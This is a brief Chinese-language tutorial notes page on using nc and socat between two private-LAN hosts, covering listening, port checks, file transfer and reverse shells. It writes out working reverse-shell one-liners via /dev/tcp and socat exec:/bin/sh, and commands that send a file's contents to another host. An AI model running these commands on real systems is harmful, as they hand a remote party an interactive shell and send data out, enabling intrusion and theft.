用nc实现通讯:
server:192.168.30.35 client:192.168.30.133
yum install nc -y
server: nc -l 8080 监听8080端口
client: nc 192.168.30.35 8080
查看监听端口没有:
nc -z 192.168.30.35 8080
实现反向shell:
server: /bin/sh -i >& /dev/tcp/192.168.30.133/8080 0>&1
client: nc -l 8080
传输文件:
server: cat /etc/hosts > /dev/tcp/192.168.30.133/8080
或者: cat /etc/hosts | nc 192.168.30.133 8080
client: nc -l 8080
把传过来的信息放到指定地方:
nc -l 8080 > /tmp/aa.txt
用socat实现通讯:
yum install socat -y
server:socat tcp4-listen:8080 -
client: socat - tcp4:192.168.30.35:8080
实现反向shell:
server:socat tcp:192.168.30.133:8080 exec:/bin/sh
client: socat tcp-listen:8080 -